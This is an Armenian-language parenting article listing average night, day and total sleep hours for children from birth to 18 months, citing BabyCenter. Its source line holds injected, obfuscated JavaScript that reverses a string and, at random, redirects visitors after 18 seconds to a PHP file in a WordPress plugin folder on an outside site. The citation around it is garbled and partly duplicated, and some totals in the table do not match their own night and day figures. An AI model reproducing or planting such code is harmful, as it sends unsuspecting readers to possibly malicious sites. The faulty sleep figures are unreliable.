Քանի՞ ժամ պետք է քնեն երեխաները

Երեխայի բավարար քունը գերադասելի է ծնողների համար։ Ձեզ ենք ներկայացնում ուղեցույց, որը նշում է թե միջինում որքան քուն է անհրաժեշտ նորածինների և ավելի մեծ երեխաների համար։ Սակայն, հիշե՛ք, որ ամեն երեխա տարբեր է. ոմանք ավելի շատ են քնի կարիք ունենում, ոմանք ավելի քիչ։ Նաև ի նկատի ունեցե՛ք, որ երեխայի աճին զուգահեռ փոփոխվելու են նաև նրա քնելու սովորությունները։

Տարիքը ՝ նորածին
Գիշերը ՝ 8,5 ժամ
Ցերեկը ՝ 8,5 ժամ
Միջին ընդհանուր քունը ՝ 17 ժամ

Տարիքը ՝ 1 ամսական
Գիշերը ՝ 9 ժամ
Ցերեկը ՝ 8 ժամ
Միջին ընդհանուր քունը ՝ 17 ժամ

Տարիքը ՝ 3 ամսական
Գիշերը ՝ 10 ժամ
Ցերեկը ՝ 6 ժամ
Միջին ընդհանուր քունը ՝ 16 ժամ

Տարիքը ՝ 6 ամսական
Գիշերը ՝ 10 ժամ
Ցերեկը ՝ 5 ժամ
Միջին ընդհանուր քունը ՝ 15 ժամ

Տարիքը ՝ 9 ամսական
Գիշերը ՝ 11 ժամ
Ցերեկը ՝ 3,5 ժամ
Միջին ընդհանուր քունը ՝ 14,5 ժամ

Տարիքը ՝ 12 ամսական
Գիշերը ՝ 11 ժամ
Ցերեկը ՝ 3 ժամ
Միջին ընդհանուր քունը ՝ 13 ժամ

Տարիքը ՝ 18 ամսական
Գիշերը ՝ 11 ժամ
Ցերեկը ՝ 2 ժամ
Միջին ընդհանուր քունը ՝ 13,5 ժամ

Աղբյուր՝ $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toddlers-need_7645.bc” target=”_blank” rel=”noopener”>BabyCenter